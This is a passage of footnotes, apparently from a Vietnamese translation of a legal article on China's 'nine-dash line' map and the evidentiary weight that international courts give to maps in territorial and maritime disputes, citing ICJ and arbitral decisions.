[55] Kasikili/Sedudu Island (Botswana/Namibia), [1999] I.C.J. Rep. 1045 at 1098, para. 84, nêu: “Tòa án sẽ bắt đầu bằng việc nhắc lại những gì mà Ban thẩm phán (Chamber) xử vụ tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) phải nói về giá trị chứng cứ của bản đồ”; Tranh chấp lãnh thổ và biển giữa Nicaragua and Honduras trong biển Caribbean (Nicaragua v. Honduras), [2007] I.C.J. Rep. 659 at 723, para. 215, nêu: “Toà án tái khẳng định lập trường của họ trước đây liên quan đến phạm vi vô cùng hạn chế của bản đồ như là một nguồn về quyền sở hữu chủ quyền”; Tranh chấp biên giới (Benin/Niger), [2005] I.C.J. Rep. 90 at 119–20, para. 44, nêu: “nguyên tắc này [như mô tả trong tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) cũng sẽ hướng dẫn Ban Thẩm phán trong việc đánh giá các bản đồ mà các Bên trong trường hợp hiện tại dựa vào”; Sovereignty over Pulau Ligitan and Pulau Sipadan (Indonesia/Malaysia), [2002] I.C.J. Rep. 625 at 667, para. 88; Maritime Delimitation and Territorial Questions between Qatar and Bahrain (Qatar v. Bahrain), Separate Opinion of Judge Kooijmans, [2001] I.C.J. Rep. 225 at 242, para. 68.</div>
<div>
</div>
<div>
[56] Patrick DAILLIER, Mathias FORTEAU, and Alain PELLET, Droit international public, 8th ed. (Paris: L.G.D.J., 2009) at 524, para. 301.</div>
<div>
</div>
<div>
[57] Một bàn luận về khả năng hạn chế này, xem Maurice KAMTO, ‘‘Le matériau cartographique dans les contentieux frontaliers et territoriaux internationaux’’ in Emile YAKPO and Tahar BOUMEDRA, eds., Liber Amicorum Judge Mohammed Bedjaoui (The Hague: Kluwer, 1999) at 371–98.</div>
<div>
</div>
<div>
[58] Riddell and Plant, supra note 56 at 266.</div>
<div>
</div>
<div>
[59] ZHAO Lihai, Studies on the Law of Sea (Beijing: Beijing University Press, 1996) at 37 (in Chinese), translated in Li and Li, supra note 4 at 291.</div>
<div>
</div>
<div>
[60] JIAO Yongke, ‘‘There Exists No Question of Redelimiting Boundaries in the Southern Sea’’ (2000) 17 Ocean Development and Management at 52 (in Chinese), translated in Michael STRUPP, ‘‘Maritime and Insular Claims of the PRC in the South China Sea under International Law’’ (2004) 11 Zeitschrift fu¨ r chinesisches Recht 1 at 16.</div>
<div>
</div>
<div>
[61] Zou, supra note 33 at 160.</div>
<div>
</div>
<div>
[62] Grisbadarna Case (Norway v. Sweden), Decision of 23 October 1909, [1910] 4 American Journal of International Law 226 at 231, nêu rằng: ‘‘lãnh hải là thứ phụ thuộc chính yếu của lãnh thổ đất liền’’ (translation from the original French, [2006] XI Reports of International Arbitral Awards 159); North Sea Continental Shelf (Federal Republic of Germany/Denmark; Federal Republic of Germany/Netherlands), [1969] I.C.J. Rep. 3 at 51, para. 96: ‘‘Trong cả hai trường hợp [vùng tiếp giáp lãnh hải và thềm lục địa] nguyên tắc được áp dụng là đất thống trị biển’’. Nghiên cứu sâu hơn và các trường hợp của nguyên tắc này, xem Abou-el-Wafa, supra note 37 at 88–90.</div>
<div>
</div>
<div>
[63] Fisheries Case (United Kingdom v. Norway), [1951] I.C.J. Rep. 116 at 132.</div>
<div>
</div>
<div>
[64] UNCLOS, supra note 12, has been ratified by all interested parties in the South China Sea dispute with the exception of Taiwan (Vietnam: 25 July 1994, PRC: 7 June 1996, Philippines: 8 May 1984,Malaysia: 14 October 1996, Brunei: 5 November 1996, Myanmar: 21 May 1996, and Thailand: 15 May 2011), online: UN http://www.un.org/Depts/los/reference_files/chronological_lists_of_ratifications.htm.</div>
<div>
</div>
<div>
[65] Ibid.</div>
<div>
</div>
<div>
[66] Một cách tiếp cận mới giới hạn đáng kể khả năng áp dụng ngoại lệ củaĐiều 121(3) đối với việc phân giới trên biển, xem Bernard H. OXMAN, ‘‘On Rocks and Maritime Delimitation’’ in Mahnoush H. ARSANJANI, Jacob Katz COGAN, Robert D. SLOANE, and Siegfried WIESSNER, eds., Looking to the Future: Essays on International Law in Honor of W. Michael Reisman (Leiden/Boston: Martinus Nijhoff, 2011), 893. Theo lý luận của tác giả, những tranh cãi liên quan đến ý nghĩa chính xác của việc cư trú của con người và đời sống kinh tế sẽ ít quan trọng hơn, bởi vì trong giai đoạn phân giới các đảo nhỏ thường chỉ đóng một vai trò nhỏ.</div>
<div>
</div>
<div>
[67] Alex G. Oude ELFERINK, ‘‘The Islands in the South China Sea: How Does Their Presence Limit the Extent of the High Seas and the Area and the Maritime Zones of the Mainland Coasts?’’ (2001) 32 Ocean Development and International Law 169 at 182. See also Marius GJETNES, ‘‘The Spratlys: Are They Rocks or Islands?’’ (2001) 32 Ocean Development and International Law 191 at 199–201; Barry Hart DUBNER, ‘‘The Spratly ‘Rocks’ Dispute: A ‘Rockapelago’ Defies Norms of International Law’’ (1995) 9 Temple International and Comparative Law Journal 291 at 299–306.</div>
<div>
</div>
<div>
[68] Nó liên quan đến những hành động do TQ thực hiện bởi để đưa vào các mục bổ sung cho chương trình nghị sự tại cuộc họp năm 2009 của các nước thành viên UNCLOS và kỳ họp lần thứ 15 của Cơ quan đáy biển quốc tế (ISA) một năm sau đó. Xem Erik FRANCKX, ‘‘The International Seabed Authority and the Common Heritage of Mankind: The Need for States to Establish the Outer Limits of Their Continental Shelf’’ (2010) 25 International Journal of Marine and Coastal Law 543 at 563–4. Những nỗ lực như vậy được lặp vào thời điểm Hội nghị của các nước thành viên UNCLOS năm 2011 nhưng không lặp lại tại cuộc họp lần của ISA khoảng một tháng sau đó.</div>
<div>
</div>
<div>
[69] Như chỉ rõ qua danh nghĩa đại diện của giáo sư Jia Yu, đưa ra trong một buổi báo cáo tóm tắt của ISA năm 2009. Mặc dù đóng góp này có tiêu đề là ‘‘Safeguarding the Common Heritage of Mankind’’(Bảo vể di sản chung của loài người) trong công bố cho báo chí của ISA (ISA, ‘‘Press Release SB/15/10’’ (June 2009) at 3, online: ISA http://www.isa.org.jm/files/documents/EN/Press/Press09/SB-15–10.pdf), các phim chiếu slides phân phát vào lúc đó tại buổi báo cáo tóm tắt lại có một tiêu đề cụ thể hơn, đó là ‘‘The Rock of Oki-no-Tori Shall Have No EEZ and Continental Shelf’’ (Mỏm đá Okinotori sẽ có EEZ và thềm lục địa mở rộng). Xem thêm Ted McDORMAN, ‘‘The South China Sea after 2009: Clarity of Claims and Enhanced Prospects for Regional Cooperation?’’ (2010) 24 Ocean Yearbook 507 at 514–15. Về chi tiết và các hành động sau này của các bên về mặt này, xem Yann-Huei SONG, ‘‘The Application of Article 121 of the Law of the Sea Convention to the Selected Geographical Features Situated in the Pacific Ocean’’ (2010) 9 Chinese Journal of International Law 663 at 671–4.</div>
<div>
</div>
<div>
[70] Indonesia, ‘‘Letter to the Secretary-General of the United Nations—480/POL-703/VII/10’’ (8 July 2010), online: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/idn_2010re_mys_ vnm_e.pdf. Sự liên kết giữa các hành động can thiệp này với Biển Đông được trình bày trong công hàm này như sau:</div>
<div>
Về mặt này, các phát biểu của các đại diện ưu tú của CHNDTH cũng liên quan đến tình hình ở Biển Đông và do đó thật đúng khi nêu rằng những thể địa lý rất nhỏhoặc ở xa xôi ở Biển Đông không xứng đáng được hưởng vùng đặc quyền kinh tế hay thềm lục địa của riêng mình. Cho phép sử dụng các mỏm đá, các rạn san hô và đảo san hô vòng không có người ở cô lập với đất liền và ở giữa biển khơi như một điểm cơ sở để tạo ra các khu vực biển gây quan ngại tới các nguyên tắc cơ bản của Công ước [1982] và xâm phạm lợi ích chính đáng của cộng đồng toàn cầu. Vì thế,như được chứng thực bởi những phát biểu trên, cái gọi là “bản đồ đường 9 chấm” rõ ràng thiếu cơ sở pháp lý quốc tế và đồng nghĩa với việc đảo lộn… Công ước 1982.</div>
<div>
</div>
<div>
[71] Xem bộ phận luật án lệ rộng hơn và ý kiến các học giả nêu trong Gérard NIYUNGEKO, La preuve devant les juridictions internationales (Brussels: Bruylant, 2005) at 322–35, and more recently Case concerning Pulp Mills on the River Uruguay (Argentina v. Uruguay), [2010] I.C.J. Rep. 1 at 52, para. 168.</div>
<div>
</div>
<div>
[72] Raphae¨le RIVIER, ‘‘La preuve devant les juridictions interetatiques à vocation universelles (CIJ et TIDM)’’ in Hélène Ruiz FABRI and Jean-Marc SOREL, eds., La preuve devant les juridictions internationales (Paris: Pedone, 2007), 9 at 38–48. More generally, judicial bodies select the facts they deem pertinent in a discretionary manner. Xem Jean SALMON, ‘‘Le fait dans l’application du droit international’’ (1982) 175 Collected Courses of the Hague Academy of International Law 261 at 300. For a critical approach to the freedom of judges with respect to weighing evidence, see Rudiger WOLFRUM, ‘‘Taking and Assessing Evidence in International Adjudication’’ in Tafsir Malick NDIAYE and Rudiger WOLFRUM, eds., Law of the Sea, Environmental Law and Settlement of Disputes: Liber Amicorum Judge Thomas A. Mensah (Leiden: Martinus Nijhoff, 2007), 341 at 342; Patrick KINSCH, ‘‘On the Uncertainties Surrounding the Standard of Proof in Proceedings before International Courts and Tribunals’’ in Gabriella VENTURINE and Stafania BARIATTI, eds., Liber Fausto Pocar—Diritti individuali e giustizia internazionale, vol. 1 (Milan: Giuffre`, 2009), 427 at 438–9; Chittharanjan F. AMERASINGHE, Evidence in International Litigation (Leiden: Martinus Nijhoff, 2005) at 232–61.</div>
<div>
</div>
<div>
[73] Mặc dù không có học thuyết về việc dựa vào tiền lệ (stare decisis) trong luật quốc tế, tòa và tòa án quốc tế thường trích dẫn luật án lệ. Điều này đặc biệt đúng đối với ICJ, là toà có tính tự tham chiếu cao độ và sẽ chỉ đi chệch khỏi án lệ trong quá khứ khi có các lý do đáng kể. Xem Alan BOYLE and Christine CHINKIN, The Making of International Law (Oxford: Oxford University Press, 2007) at 293–9; Gilbert GUILLAUME, ‘‘The Use of Precedent by International Judges and Arbitrators’’ (2011) 2 Journal of International Dispute Settlement 5 at 12.</div>
<div>
</div>
<div>
[74] Frontier Dispute, supra note 57 at 582, para. 55, nêu: ‘‘trọng lượng phân cho các bản đồ với tư cách bằng chứng phụ thuộc vào một số lớn các cân nhắc”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Berna´rdez at 274, para. 37, stating: ‘‘[t]he weight of maps as evidence depends on a range of considerations.’’</div>
<div>
</div>
<div>
[75] Xem Case concerning the Delimitation of Maritime Boundary between Guinea-Bissau and Senegal (Guinea- Bissau/Senegal), Decision of 31 July 1989, Dissenting Opinion of Mr. Mohammed Bedjaoui, [2006] XX Reports of International Arbitral Awards 119 at 166–9, paras. 32–7 (lập luận chống lại một chuyển vị tự động các nguyên tắc lãnh thổ sang phân định biển cho các khác biệt “hiển nhiên” và “không thể giảm hơn” về mặt địa lý, mối quan hệ của chúng với các quyền của các dân tộc và các quốc gia quyền đối với các vùng này); Lea BRILMAYER and Natalie KLEIN, ‘‘Land and Sea: Two Common Sovereignty Regimes in Search of a Common Denominator’’ (2001) 33 New York University Journal of International Law and Politics 703 at 703–4 (noting 15 </div>
<div>
</div>
<div>
[76] Xem các ví dụ về các vụ liên quan một phần đến các tranh chấp trên biển, supra note 58 citing a passage from Frontier Dispute (Burkina Faso/Republic of Mali) (which is a territorial case).</div>
<div>
80. Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 stating: ‘‘only with the greatest caution can account be taken of maps in deciding a question of sovereignty’’, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para.</div>
<div>
</div>
<div>
[77] Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 nêu: “Chỉ với sự thận trọng lớn nhất các bản đồ có thể được xét tới trong việc quyết định vấn đề chủ quyền”, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para. 214; Territorial Sovereignty and Scope of the Dispute (Eritrea/Yemen), Decision of 9 October 1998, [2006] XXII Reports of International Arbitral Awards 209 at 296, para. 388, nêu: “như trong tất cả các trường hợp về bản đồ, bằng chứng phải được xử lý thât tinh tế”. For an opposing view calling into question the reluctant approach of international adjudicators vis-à-vis cartographic evidence, see Romulo R. UBAY Jr, ‘‘Evidence in International Adjudication: Map Evidence in Territorial Sovereignty Dispute Cases’’ (2011) 1 Aegean Review of the Law of the Sea and Maritime Law 287.</div>
<div>
</div>
<div>
[78] Arbitration Between Great Britain and Portugal as Regards Questions Relative to the Delimitation of their Spheres of Influence in East Africa (Manica plateau) (United Kingdom/Portugal), Decision of 30 January 1897, [2007] XXVIII Reports of International Arbitral Awards 283 at 298.</div>
<div>
</div>
<div>
[79] Indo-Pakistan Western Boundary (Rann of Kutch) between India and Pakistan (India v. Pakistan), Award of 19 February 1968, Proposal of Mr. Nasrollah Entezam, [2006] XVII Reports of International Arbitral Awards 1 at 505, nêu: “bản đồ chỉ bằng chứng phụ. Chỉ có bản đồ được chuẩn bị bởi người giám định ngay tại chỗ bằng cách quan sát mới là bằng chứng chính. Thầm chí chúng là bằng chứng chính chỉ cho những điều mà người giám định có thể tự mình quan sát”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Bernardez at 274, para. 37, nêu: “ nói chung, giá trị như là bằng chứng do toà và toà án quốc tế gắn cho chúng là có tính củng cố hay xác nhận cho các kết luận đã được rút ra từ các phương cách khác không dính dáng tới các bản đồ, vì các bản đồ như thế không có danh nghĩa pháp lý”; Island of Palmas, supra note 80 at 853–4, nêu: “dù sao đi nữa, bản đồ chỉ có khả năng đưa ra một chỉ định - và đó là một chỉ định rất gián tiếp - và trừ khi được kèm theo một công cụ pháp lý, không có giá trị của một công cụ như vậy, liên quan đến công nhận hoặc từ bỏ quyền”; ibid., at 853: Nếu trọng tài hài lòng về sự tồn tại của các sự kiện pháp lý có liên quan nhưng các sự kiện này lại mâu thuẫn với lời khai của những người vẽ bản đồ có nguồn thông tin không biết rõ, ông ta có thể sẽ không gán trọng lượng nào cho các bản đồ, tuy các bản đồ này rất nhiều và thường có thể được đánh giá cao.</div>
<div>
</div>
<div>
[80] Frontier Dispute, supra note 57 at 583, para. 56. Xem thêm The Government of Sudan/The Sudan People’s Liberation Movement/Army (Abyei Arbitration), Final Award of 22 July 2009, online: PCA http://www.pca-cpa.org at 256, para. 741:</div>
<div>
Toà án tương tự như vậy rất miễn cưỡng để cân bằng biên giới Đông và Tây của khu vực do Ngok Dinka chiếm đóng chuyển giao vào năm 1905 với mô tả bằng bút chì năm 1933 về khu vực chăn thả gia súc mùa khô của Ngok Dinka trên một bản đồ vẽ phác, đặc biệt là khi toà đã có bằng chứng toàn diện và cụ thể hơn.</div>
<div>
</div>
<div>
[81] Sakeus AKWEENDA, ‘‘The Legal Significance of Maps in Boundary Questions: A Reappraisal with Particular Emphasis on Namibia’’ (1990) 60 British Yearbook of International Law 205 at 212; A.O. CUKWURAH, The Settlement of Boundary Disputes in International Law (Manchester: Manchester University Press, 1967) at 224–5; Hyde, supra note 27 at 313–15; Victor PRESCOTT and Gillian D. TRIGGS, International Frontiers and Boundaries: Law, Politics and Geography (Leiden: Nijhoff, 2008) at 194–5; Durward V. SANDIFER, Evidence before International Tribunals, 2nd ed. (Charlottesville: University Press of Virginia, 1975) at 235; Guenter WEISSBERG, ‘‘Maps as Evidence in International Boundary Disputes: A Reappraisal’’, (1963) 57 American Journal of International Law 781 at 781.</div>
<div>
</div>
<div>
[82] E.g., Ian BROWNLIE, The Rule of Law in International Affairs: International Law at the Fiftieth Anniversary of the United Nations (The Hague: Martinus Nijhoff, 1998) at 156.</div>
<div>
</div>
<div>
[83] Manfred LACHS, ‘‘La preuve et la Cour internationale de Justice’’ in Chaı¨m PERELMAN and Paul FORIERS, eds., La preuve en droit (Brussels: Bruylant, 1981), 109 at 109.</div>
<div>
</div>
<div>
[84] Mức phù hợp trong bản đồ không cần phải luôn luôn là tuyệt đối, nhưng nó phải phù hợp trên tổng quát.. Abouel- Wafa, supra note 37 at 432–4.</div>
<div>
</div>
<div>
[85] Kasikili/Sedudu Island, supra note 58 at 1100, para. 87; see also Dubai/Sharjah Border Arbitration (Dubai v. Sharjah), Award of 19 October 1981, [1993] 91 International Law Reports 543 at 630, para. 168:</div>
<div>
Theo quan điểm của Toà án cần phải dẹp sang một bên cả hai bản đồ do ông Walker chuẩn bị, xét về vị trí của Hadlib Azana, vì, mặc dù được chuẩn bị bởi cùng một người, chúng lại mâu thuẫn lẫn nhau về đường ranh giới chung trong khu vực này. Suy đoán thêm về các lý do có thể có cho một mâu thuẫn như vậy là chuyện vô ích.</div>
<div>
Eritrea/Yemen Arbitration, supra note 80 at 296, para. 388:</div>
<div>
Các bằng chứng cho thời kỳ này bị vây bủa với các mâu thuẫn và sự không chắc chắn. Mỗi bên đã thể hiện sự không thống nhất trong các bản đồ chính thức của mình. Tuy nhiên, xu hướng chung là bằng chứng bản đồ củaYemen là vượt trội về phạm vi và khối lượng so với Eritrea. Tuy nhiên, trọng lượng như vậy có thể được gắn vào bản đồ bằng chứng ủng hộ của một bên được cân bằng bởi thực tế là mỗi bên đã công bố những bản đồ có vẻ đi ngược với khẳng định của mình trong các thủ tục tố tụng.</div>
<div>
Delimitation of the Border Between the State of Eritrea and the Federal Democratic Republic of Ethiopia (Eritrea-Ethiopia Boundary Commission), Decision of 1 January 2002, [2002] 41 International Legal Materials 1057 at 1089, para. 4.67:</div>
<div>
Bằng chứng bản đồ là không đồng nhất và nhất quán. Phần lớn hỗ trợ sự tồn tại của một phóng chiếu của Belesa và gán lãnh thổ bên trong nó cho Eritrea. Tuy nhiên, có nhiều bản đồ không làm như vậy, hoặc chỉ làm như vậy một phần</div>
<div>
</div>
<div>
[86] Tuy nhiên xem Separate World’s Geography (Chinese Ya Guang Geographic Publisher, 1951) at 18 (Bản dồ nước Cộng hoà), trong đó chỉ có khoảng nửa số vạch được thể hiện [bản đồ TQ 1951].</div>
<div>
</div>
<div>
[87] Xem Chinese State Bureau of Surveying and Mapping, Map World, online: Map World http://www.chinaonmap.cn. Bản đồ này được in lại một phần trong Phụ lục II ở cuối bài viết này.</div>
<div>
</div>
<div>
[88] Vì vậy, về mặt kỹ thuật hình như chính xác hơn khi nói đường chấm chấm với số vạch thay đổi, chẳng hạn như là đường 11/9/10-chấm. Tuy nhiên, vì cho tới nay đường 9 chấm là đường mà TQ dựa vào trên bình diện quốc tế để minh định lập trường của họ trong tranh chấp của quốc gia đối với quốc gia nên bài đóng góp này thường sẽ dùng khái niệm “đường 9 chấm”, trừ khi các đường với số chấm khác có ý nghĩa pháp lý.</div>
<div>
</div>
<div>
[89] Eritrea/Yemen Arbitration, supra note 80 at 295, para. 382.</div>
<div>
</div>
<div>
[90] Các vạch được TQ sử dụng để vẽ đường chữ U không phù hợp với các quy định kỹ thuật biểu đồ do Tổ chức Thủy văn Quốc tế đề ra dùng để chỉ ranh giới biển quốc tế, lãnh hải, vùng tiếp giáp lãnh hải, vùng đặc quyền kinh tế, thềm lục địa, khu thủy sản, vv. Xem International Hydrographic Organization, Regulations of the IHO for International (INT) Charts and Chart Specifications of the IHO, 4th ed. (Monaco: International Hydrographic Bureau, 2010) at B-440, C-407 (International Boundaries and National Limits), online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-4/S4_v4.000_Sep10.pdf . Kiểu lập luận này đã được Ukraina đưa ra chống lại Romania trong vụ ở Biển Đen (Romania v. Ukraine), Counter-memorial of Ukraine, 19 May 2006 at 123–5.</div>
<div>
[91] International Hydrographic Organization Membership, online: IHO http://www.iho-ohi.net/english/home/about-the-iho/about-iho-member-states/ms-information.html.</div>
<div>
</div>
<div>
[92] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40. Xem thêm Frontier Dispute, supra note 57 at 583, para. 57, nêu: “bây giờ Ban thẩm phán (Chamber) quay sang các bản đồ được in trong trường hợp này. Đối với Ban Thẩm phán không có một bản đồ đơn lẻ có sẵn nào có thể nói một cách đáng tin cậy là phản ánh được những ý định của chính quyền thực dân được thể hiện trong các các văn bản liên quan đến biên giới đang có tranh chấp.” Xem thêm Abou-el-Wafa, supra note 37 at 425–6.</div>
<div>
</div>
<div>
[93] Smith, supra note 53 at 224.</div>
<div>
</div>
<div>
[94] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40.</div>
<div>
</div>
<div>
[95] Cũng phải nói rõ rằng dù ngay cả trong tình huống như thế, việc chế tác bản đồ cũng không phải là một công việc có “giá trị trung lập” về khoa học. Những bóp mép không chủ ý cũng có thể len vào trong quá trình này do những thiên lệch của nhà vẽ bản đồ và bối cảnh xã hội. Jordan BRANCH, ‘‘Mapping the Sovereign State: Technology, Authority, and Systemic Change’’ (2011) 65 International Organization 1 at 7.</div>
<div>
</div>
<div>
[96] Trừ khi một bản đồ như vậy đi ngược vị thế của họ. Xem chẳng hạn, Sovereignty over Pedra Branca/Pulau Batu Puteh, Middle Rocks and South Ledge (Malaysia/Singapore), [2008] I.C.J. Rep. 12 at 95, para. 272. Abou-el-Wafa, supra note 37 at 460–2.</div>
<div>
</div>
<div>
[97] Beagle Channel Arbitration (Argentina v. Chile), Decision of 18 February 1977, [2006] XXI Reports of International Arbitral Awards 53 at 167, para. 142. Xem thêm Frontier Dispute, supra note 57 at 583, para. 56, nêu rằng: ‘‘những cân nhắc khác để xác định trọng lượng của các bản đồ như là bằng chứng liên quan tới tính trung lập của các nguồn của chúng đối với tranh chấp đang xem xét và với các bên đối với tranh chấp đó.’’</div>
<div>
</div>
<div>
[98] Cukwurah, supra note 84 at 224. Xem thêm Hyde, supra note 27 at 315: Các nguyện vọng hung hăng về lãnh thổ của một nước, qua thời gian nhiều năm có thể phản ánh trong một loạt các bản đồ liên tiếp mô tả rõ rệt sự lấn tới dần và thực sự, và những mô tả sau này có thể khác biệt rõ rệt với các mô tả trước đó;dù trên thự tế không có hiệp ước nào mở rộng ranh giới hay điều chỉnh biên giới.</div>
<div>
</div>
<div>
[99] Charles DE VISSCHER, Problèmes de confins en droit international public (Paris: Pedone, 1969) at 46. Xem thêm Joseph Charles WITENBERG, ‘‘La théorie des preuves devant les juridictions internationales’’ (1936) 56 Collected Courses of the Hague Academy of International Law 1 at 66: ‘‘la valeur scientifique de la méthode ayant présidé´à leur établissement’’; Abou-el-Wafa, supra note 37 at 431.</div>
<div>
</div>
<div>
[100] Ian BROWNLIE, African Boundaries: A Legal and Diplomatic Encyclopaedia (London: Royal Institute of International Affairs, 1979) at 5.</div>
<div>
</div>
<div>
[101] Cukwurah, supra note 84 at 217–20.</div>
<div>
</div>
<div>
[102] Island of Palmas, supra note 80 at 853. Cited in Dubai/Sharjah Border Arbitration, supra note 88 at 630, para. 168. Xem thêm Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075, para. 3.19, nêu: Ủy ban cũng lưu ý rằng các bản đồ, dù thông tin nó cung cấp nhiều như thế nào, không nhất thiết thể hiện chính xác, khách quan thực tế trên mặt đất’</div>
<div>
</div>
<div>
[103] Frontier Dispute, supra note 57 at 582–3, para. 55. Xem thêm Beagle Channel, supra note 100 at 174, para. 154, nêu: “Vì thếTòa án bắt buộc đi đến kết luận rằng bản đồ củaPelliza có tính chất quá không chắc chắn để có giá trị chứng minh đòi hỏi”; Request for Interpretation of the Judgment of 15 June 1962 in the Case concerning the Temple of Preah Vihear (Cambodia v. Thailand), Order of 18 July 2011, Dissenting Opinion of Judge ad hoc Cot, [2011] I.C.J. Rep. 1 at 4, para. 21–2 (tuyên bố quyết định của Toà xác định một khu vực phi quân sự tạm thời là “thiếu thận trọng”dưới ánh sáng của tài liệu bản đồ mà ông cho là hạn chế và không đủ đáng tin cậy theo quan điểm kỹ thuật).</div>
<div>
</div>
<div>
[104] Legal Consequences of the Construction of a Wall in the Occupied Palestinian Territory, Advisory Opinion, [2004] I.C.J. Rep. 136 at 168, para. 80. Về việc ICJ chấp nhận ảnh vệ tinh trong các vụ tranh chấp, xem Jana K. HETTLING, ‘‘The Use of Remote Sensing Satellites for Verification in International Law’’ (2003) 19 Space Policy 33 at 38, nghiên cứu sâu hơn của cùng tác giả trong Satellite Imagery for Verification and Enforcement of Public International Law (Cologne: Heymann, 2008) at 157–65.</div>
<div>
</div>
<div>
[105] Dzurek, supra note 3 at 12; Zou, supra note 5 at 51.</div>
<div>
</div>
<div>
[106] Dzurek, supra note 3 at 11.</div>
<div>
</div>
<div>
[107] Xem chẳng hạn bản đồ TQ 1951, supra note 89. Không những một số lượng các vạch chỉ biến đi (ibid.) mà vị trí của những vạch biểu hiện trên rằng bản đồ đó với tỉ lệ 1:23.500.000 rõ ràng là sai biệt với những vạch thấy trong Phụ lục I: ba vạch đầu tiên rõ ràng là thấy được, nhưng vạch đầu tiên nằm theo hướng tây bắc nhiều hơn, vạch thứ hai ở hướng tây nam, và vạch thứ ba theo hướng phía bắc khi so sánh với bản đồ Phụ lục I.</div>
<div>
</div>
<div>
[108] Land, Island and Maritime Frontier Dispute (El Salvador/Honduras: Nicaragua Intervening), [1992] I.C.J. Rep. 350 at 550, para. 315. Xem thêm Kasikili/Sedudu Island, supra note 58, Dissenting Opinion of Vice-President Weeramantry at 1176, para. 73:</div>
<div>
Bản đồ dĩ nhiên có thể mang các mức độ trọng lượng khác nhau tùy thuộc vào tác giả và hoàn cảnh trong đó chúng được làm ra. Hơn nữa, tỉ lệ của các bản đồ thường là quá nhỏ không hiển thị rõ ràng các khu vực cụ thể đang là chủ đề của tranh chấp, trong khi các bản đồ khác đủ lớn có thể chỉ ra các khu vực tranh chấp đầy đủ chi tiết.</div>
<div>
</div>
<div>
[109] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1089, para. 4.67. Earlier on in that case (at 1076, para. 3.21), Ủy ban cũng nêu: “một bản đồ ... với tỉ lệ quá nhỏ đến nỗi việc nhập vào sẽ trở thành một vấn đề phải suy xét hơn là sự quan sát chính xác, khó có thể có giá trị pháp lý hay bằng chứng cao.” Xem thêm Case Concerning the Location of Boundary Markers in Taba (Egypt/Israel), Decision of 29 September 1988, [2006] XX Reports of International Arbitral Awards 1 at 48, para. 184:</div>
<div>
Tòa án không xem xét các chỉ dẫn dựa trên bản đồ là thuyết phục vì tỉ lệ của bản đồ (1:100,000) là quá nhỏ để thể hiện một vị trí trên mặt đất chính xác theo yêu cầu trong những trường hợp này, trong đó khoảng cách giữa các vị trí trụ cột tranh chấp đôi khichỉ một vài mét.</div>
<div>
Dispute Concerning the Course of the Frontier Between BP 62 and Mount Fitzroy (‘‘Laguna del Desierto’’) (Argentina/Chile), Resolution of 13 October 1995, [1999] 113 International Law Reports 1 at 224:</div>
<div>
Ngay từ đầu, một số quan sát được lưu ý đến về các bản đồ tỉ lệ 1/10.000 do Chile đệ trình. Những bản đồ này được vẽ với một tỉ lệ lớn hơn đáng kể hơn so với bản đồ của Ủy ban Ranh giới hỗn hợp hoặc những bản đồ kèm theo đệ trình yêu sách chủ quyền của Chile ngày 31 tháng năm 1995, cung cấp một biểu diễn chính xác về địa hình thực sự của mặt đất</div>
<div>
</div>
<div>
[110] Maurice KAMTO, ‘‘Sur quelques questions techniques liées à la détermination du tracé d’une frontière maritime de´limitée’’ in Rafael CASADO RAIGON and Giuseppe CATALDI, eds., L’évolution et l’état actuel du droit international de la mer. Mélanges de droit de la mer offerts à Daniel Vignes (Brussels: Bruylant, 2009), 481 at 493–6, tác giả đưa ra một tường trình chi tiết về những khó khăn nghiêm trọng mà Cameroon và Nigeria gặp phải sau đó do sự kiện rằng trong đánh giá của mình ICJ đã dựa trên một biểu đồ Hải quân Anh không chứa bất kỳ chỉ dẫn của mốc đo lường được dùng.</div>
<div>
</div>
<div>
[111] Beagle Channel, supra note 100 at 164, para. 137. See also John G. MERRILLS, ‘‘The International Court of Justice and the Adjudication of Territorial and Boundary Disputes’’ (2000) 13 Leiden Journal of International Law 873 at 875, nêu: “về các vấn đề ranh giới và lãnh thổ các bản đồ có khả năng cung cấp bằng chứng về tình hình trên mặt đất và thái độ của các nước có liên quan đối với nó’’; Henry DARWIN, ‘‘Judicial Settlement’’ in Evan LUARD, ed., The International Regulation of Frontier Disputes (London: Thames & Hudson, 1970), 198 at 207–8.</div>
<div>
</div>
<div>
[112] Temple of Preah Vihear (Cambodia v. Thailand), [1962] I.C.J. Reports 6 at 23.</div>
<div>
</div>
<div>
[113] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075–6, para. 3.22. Một cách tượng tự Uỷ ban nhận thấy rằng (at 1076, para. 3.21):</div>
<div>
Tuy nhiên, một bản đồ do một cơ quan chính phủ của một bên vẽ ra, trên một tỉ lệ đủ để cho phép miêu tả của khu vực biên giới tranh chấp là nhận biết được, thường có sẵn để mua hoặc kiểm tra, dù tại nước xuất xứ hoặc ở nơi khác, và bên bị ảnh hưởng bất lợi hành động dựa trên nó, hoặc không phản ứng đối với nó, có thể được dự kiến là sẽ có hậu quả pháp lý quan trọng.</div>
<div>
</div>
<div>
[114] Nicaragua v. Honduras, supra note 58 at 735, para. 253.</div>
<div>
</div>
<div>
[115] Strupp, supra note 63 at 17.</div>
<div>
</div>
<div>
[116] Ibid., at 17, note 98.</div>
<div>
</div>
<div>
[117] Yehuda Z. BLUM, Historic Titles in International Law (The Hague: Nijhoff, 1965) at 150.</div>
<div>
</div>
<div>
[118] Li and Li, supra note 4 at 290. See also ‘‘Carps Among the Spratlys’’ The Economist (10 March 2011), online: The Economist http://www.economist.com/node/18332702?story_id518332702, stating: ‘‘TQ chỉ vào một bản đồ dùng từ thời THDQ công bố trong cuộc nội chiến những năm 1940 và nói rằng cho tới gần đây không ai quan tâm (mided).”</div>
<div>
</div>
<div>
